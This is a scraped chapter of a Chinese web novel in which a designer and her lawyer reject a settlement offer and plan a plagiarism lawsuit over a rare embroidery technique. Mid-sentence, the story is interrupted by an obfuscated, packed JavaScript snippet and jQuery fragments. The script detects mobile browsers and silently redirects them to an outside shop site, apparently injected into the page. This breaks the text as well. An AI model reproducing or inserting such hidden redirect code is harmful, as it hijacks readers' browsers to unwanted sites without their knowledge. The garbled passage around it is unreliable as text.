默认冷灰
24号文字
方正启体

24. 第 24 章

作者:鸿雁归来本书字数:K更新时间:
    第一章


    (一)


    省博地下会谈后的第三天,周律的律师事务所收到了一份来自“星辰织造”的快递,不是律师函,而是一份装帧精美、厚达三十多页的《和解协议》。


    协议的核心条款简单直接:星辰织造承认“银汉”系列在设计过程中“参考了林深女士早期部分创意元素”,愿意一次性支付“创意补偿金”人民币十五万元,并承诺在后续宣传中“酌情提及灵感来源”。作为交换,林深需立即撤回所有诉讼及公开指控,签署保密协议,承诺永不就此事再发表任何言论,并将手中所有“相关设计稿件、图样及所谓证据材料”原件移交星辰织造“妥善保管”。


    “十五万,买断你的设计,你的名誉,和你手里所有的证据。”周律将协议推到林深面前,嘴角噙着一丝冷嘲,“他们急了。而且,消息很灵通。”


    林深翻看着协议,指尖划过那些印刷精良、措辞严谨的条款。十五万,对她而言不是小数目,几乎是她过去三年的总收入。能立刻结束这一切,拿到一笔钱,重新开始。很诱人。


    “他们怎么知道的?”她合上协议,看向周律。省博的会谈高度保密,陈砚舟的报告尚未正式提交,知道“碳化对话”的人仅限于当时房间里的三个。


    “两种可能。”周律向后靠在椅背上,目光锐利,“一,省博内部有他们的人,或者有乐于卖人情、透露点‘风向’的人。陈老师虽然严谨,但流程启动,风声难免。二,他们从其他渠道嗅到了危险,比如,你成功复现云母染缬的消息,如果被某些‘圈内人’看到或听说……”


    林深心头一凛。她前几天在尝试调配更大剂量的染液时,曾在一个专业的手工艺爱好者小群里,匿名请教过关于“江心水沉淀”的细节,虽然没提云母和星河裙,但懂行的人或许能猜到方向。网络时代,没有绝对的秘密。


    “陈老师那边有消息吗?”她问。


    “早上通过电话。馆里已经启动了针对那批碳化纸片的初步分析程序,但走完流程、出具具有完全法律效力的正式鉴定报告,最快也要一个月。而且,”周律顿了顿,“陈老师暗示,馆里对这份报告的‘定性’和‘措辞’非常谨慎,尤其涉及到与现行法律案件的直接关联,可能会遇到阻力。”


    林深明白了。即便证据确凿,要让一个国家级博物馆为其背书,去对抗一家有背景的商业公司,并非易事。这十五万的和解金,既是试探,也是施压,更是想趁报告未出、联盟未固之前,用最快的速度和最小的代价,把她这个“麻烦”彻底按死。


    “你怎么看?”她问周律。


    周律没有直接回答,而是从抽屉里拿出一份刚刚打印出来、还带着打印机热度的文件,递给林深。“这是我根据陈老师提供的初步信息,重新梳理和强化的证据清单及诉讼策略纲要。你看第七条。”


    林深接过,快速浏览。第七条用加粗字体写着:“核心突破口:将‘抄袭’定性为‘针对特定、非公开、具有传承密码的技艺体系的剽窃与恶意侵占’。重点攻击其‘明知不可为而为之’的主观恶意。”


    下面列着需要证明的要点:


    技艺的唯一性与私密性(盘金缠枝第三针偏左)。


    该技艺与原告林深的特定关联(碳化记录、梦的指引等)。


    被告有能力且应当知晓该技艺的特殊性(其设计师背景、宣称的“深入研究”)。


    被告在仿制时,精确复制了该私密特征(取证重点)。


    “如果我们签了和解协议,”周律指着他刚刚说的要点3和4,“就意味着我们承认这只是一场关于‘创意元素’的普通纠纷,放弃了追究其‘恶意剽窃私传技艺’的可能。那么,陈老师那边即将出炉的、能证明‘私密性’和‘特定关联’的报告,就失去了用武之地。这十五万,买走的是我们最有力的武器。”


    他看向林深,目光如炬:“深姐,他们怕的不是你手里那几张旧稿,甚至不是省博的残片。他们怕的是‘绣谱’,是那枚‘第三针偏左’的扣印被证明是某个叫沈昭衣的绣娘独一无二的签名,而你,是八百年后唯一能解读、并再现这个签名的人。他们想用十五万,堵死这条路。”


    林深沉默了。她看着手中那份精美的和解协议,又看了看周律电脑屏幕上那份简略却锋芒毕露的策略纲要。十五万的“重新开始”,和一条充满荆棘、胜负未知、但能真正为沈昭衣、也为自己正名的路。


    手机在口袋里震了一下。她拿出来,是闲鱼。灰色头像。


    消息很短:“昨夜风雨,铜钱草盆移入室内。今晨看,新叶又发两片。”


    平平常常的一句话,关于一盆草。但林深看着,仿佛看到了隆兴二年风雨交加的夜晚,州府绣坊里,有人细心地将那盆青瓷缸从窗台挪开,护在屋内。晨起时,见新叶萌发,心中安然,便隔着八百年的寂静,将这份安然,分享给了另一个在风雨中前行的人。


    她收起手机,将那份《和解协议》轻轻推回给周律。


    “撕了吧。”她说,声音不大,但异常清晰。


    周律看着她,脸上露出了这些天来第一个真正舒展的笑容。他拿起协议,看也没看,直接塞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323547|199090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进了旁边的碎纸机。机器发出沉闷的嗡鸣,精美的纸张瞬间被切割成无数细碎的纸条。


    “接下来,”周律重新坐直,进入工作状态,“我们需要做三件事。第一,我会正式回绝和解,并依据新证据,向法庭申请证据保全,尽可能拿到‘银汉’裙的实物或更清晰的局部影像,重点就是那枚扣印的仿制细节。第二,你要加速复刻进程,我需要一件至少能清晰展现‘月落裁’和‘云母染缬’核心特征的实物样衣,越完整越好。第三,”他顿了顿,“我们需要和陈老师保持紧密沟通,随时了解鉴定进展,并……做好报告可能被‘软化’处理的预案。必要时,我们可能需要寻找其他权威的、肯出庭的专家证人。”


    林深点头,一项项记在心里。压力如山,但方向从未如此清晰。


    离开律师事务所时,天色已近黄昏。冬日的夕阳给城市建筑冰冷的玻璃幕墙镀上了一层虚幻的金色。她走在街上,寒风吹在脸上,却不觉得冷。


    回到工作室,她反锁上门,没有开大灯,只拧亮了工作台上的台灯。窗台上,那盆铜钱草在暮色中静静伫立,新发的两片嫩叶,在灯下泛着油润的微光。


    她走到工作台前,铺开画板,拿起笔。这一次,她画的不是设计稿,而是一张复杂的时间推进与任务分解图。中央是“开庭日”,放射出数条支线:证据链巩固、实物样衣制作、专家证人联络、舆论准备(如果需要)、以及……她顿了顿,在图纸角落,画了一个小小的、抽象的盆,里面点上几点绿色。


    然后,她打开一个上了锁的抽屉,从最里面,取出了那个小小的、深紫色的檀木匣子——沈昭衣绣谱的“副本”,是陈砚舟根据显微影像和高清扫描,为她打印还原的高精度仿制品。虽然只是复印件,但那份量,那份穿越时光的郑重,却丝毫未减。


    她翻开第一页,“裁梦”二字映入眼帘。


    指尖拂过那些繁复的绣线和簪花小楷的注脚,仿佛能触摸到八百年前那个女子,在孤灯下耗尽心血、一针一线绣下它们时的温度与决心。


    沈昭衣把她的“证”,她的“梦”,她的“传承”,绣进了这七页绢里,投向了不可知的未来。


    现在,这未来,落在了她的手上。


    她合上绣谱,将它端正地放在工作台最显眼的位置,像一座沉默的灯塔,也像一份无声的誓约。


    窗外,夜色彻底笼罩城市,万家灯火次第亮起。


    工作室内,只有一盏孤灯,一个伏案的身影,和一条正在被重新计算、裁剪、赋予形体的星河,在寂静中,缓缓流淌出第一缕微光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)